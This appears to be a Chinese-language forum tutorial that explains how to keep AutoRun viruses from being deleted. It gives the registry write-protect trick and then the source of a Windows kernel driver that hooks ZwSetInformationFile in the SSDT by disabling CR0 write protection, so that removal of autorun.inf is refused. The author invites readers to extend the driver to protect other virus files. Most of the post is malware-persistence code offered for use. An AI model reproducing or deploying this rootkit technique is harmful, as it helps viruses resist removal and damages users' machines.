AutoRun病毒的日子越来越不好过那,现在的任何一款杀毒软件对AutoRun病毒都采取了主动防御,只要一发现任何盘符下有autorun,inf文件,不管你是本机的硬盘还是U盘等移动存储设备,一律清除,使AutoRun病毒无法生存,现在有一种办法是通过对注册表做以下改动来对U盘等移动存储设备进行写保护:(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies\StorageDevicePolicies下建立Dword值命名为WriteProtect并令其值为1,从而使U盘等移动存储设备变为只读,从而侧面保护了AutoRun病毒不被查杀),但是这种方法大家都知道,只需要修改一下注册表就可以那,而且现在的杀毒软件对注册表进行主动防御,一修改注册表杀毒软件就会提示修改信息,所以这种办法也是治标不治本。
现在我提出一种思路,其实这种方式早就被用在病毒的自我保护上,就是HooK DeleteFile函数达到防止被删除,其实DeleteFile函数执行的流程如下:DeleteFileA->DeleteFileW-e->ntdll.ZwSetInformationFile->内核中ntoskrnl.exe的ZwSetInformationFile函数,所以只要Hook内核中ntoskrnl.exe的ZwSetInformationFile函数,然后比较如果文件名是 AutoRun.inf则返回拒绝访问就行哪。下面我们就可开始编写代码,所有功能在NT驱动程序中实现:
编写驱动,首先需要建立文件名为makefile和sources文件,这两个文件的内容可以通过DDK中自带的驱动源码例子中获得,也可以通过EasySYS.exe等小工具生成,然后建立文件名为HDFile.c的驱动源文件,主要代码如下:
extern PSRVTABLE KeServiceDescriptorTable;
//由于ZwSetInformationFile函数是被NTOSKRNL.EXE导出的函数,所以定义宏:作用是通过[*(PULONG)((PUCHAR)_function+1)]找SSDT下的服务号方式来找到该函数的指针地址
#define SYSCALL(_function) ServiceTable>ServiceTable[*(PULONG)((PUCHAR)_function+1)]
PSRVTABLE ServiceTable;
//原始ZwSetInformationFil函数的声明
NTSTATUS (*RealZwSetInformationFile)(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);
//自己的ZwSetInformationFil函数(也就是代替原函数的hook函数,参数必须与原函数一样才行,这个就不用过多说明,和ring3下的函数hook一样)声明
NTSTATUS HookZwSetInformationFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);
//驱动程序入口处等同于C语言程序入口的main
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload=DriverUnload;
//使ServiceTable指向SSDT的初始指针地址
ServiceTable=KeServiceDescriptorTable;
HookAPI();
return STATUS_SUCCESS;
}
//Hook函数的过程
VOID HookAPI()
{
//首先保存原来的地址
RealZwSetInformationFile = SYSCALL(ZwSetInformationFile);
//停止内存保护机制(这是使用修改cro寄存器的方法来读写KiServiceTable)
_asm{
push eax
mov eax,cr0
and eax,not 10000h //修改cro寄存器的标识位为0
mov cr0,eax
pop eax
}
//将调用ZwSetInformationFile的指针指向HookZwSetInformationFile的地址,其实就是转向去执行HookZwSetInformationFile函数
SYSCALL(ZwSetInformationFile)=(PVOID)HookZwSetInformationFile;//不能写成(PVOID)(HookZwSetInformationFile),加上括号便以失败,(PVOID)代表指向无类型的HookZwSetInformationFile地址
_asm{
push eax
mov eax,cr0
or eax,10000h //修改cro寄存器的标识位为1
mov cr0,eax
pop eax
}
return;
}
NTSTATUS HookZwSetInformationFile(IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass)
{
PFILE_OBJECT pFileObject;//指向收到对象体指示器的变量
NTSTATUS nRet=ObReferenceObjectByHandle(FileHandle,
GENERIC_READ,
*IoFileObjectType,
KernelMode,
(PVOID*)&pFileObject,0);
if(NT_SUCCESS(nRet))
{
UNICODE_STRING uDosName; nRet=IoVolumeDeviceToDosName(pFileObject>DeviceObject,&uDosName);
if(NT_SUCCESS(nRet))
{
//比较pFileObject->FileName.Buffer与L"\\autorun.Inf"这两个字符串是否都为相同的小写字符串,一样则返回拒绝访问提示,也就是保护所有盘的根目录下文件名是autorun.Inf
的文件,其实你也可以加上对病毒文件的保护的代码,加个或的if语句判断即可。
if(!_wcsicmp(pFileObject->FileName.Buffer,L"\\autorun.inf"))
{
ExFreePool(uDosName.Buffer);
return STATUS_ACCESS_DENIED;//提示访问文件权限为否定
}
ExFreePool(uDosName.Buffer);
}
}
return RealZwSetInformationFile(FileHandle,IoStatusBlock,FileInformation,Length,FileInformationClass);//返回原函数的指针地址
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UnHook();
}
VOID UnHook()
{
//停止内存保护机制
_asm{
push eax
mov eax,cr0
and eax,not 10000h
mov cr0,eax
pop eax
}
UnHookSystemCall();
//恢复内存保护机制
_asm{
push eax
mov eax,cr0
or eax,10000h
mov cr0,eax
pop eax
}
return;
}
VOID UnHookSystemCall()
{
//将真正的ZwSetInformationFile地址恢复
SYSCALL(ZwSetInformationFile)=(PVOID)RealZwSetInformationFile;
return;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课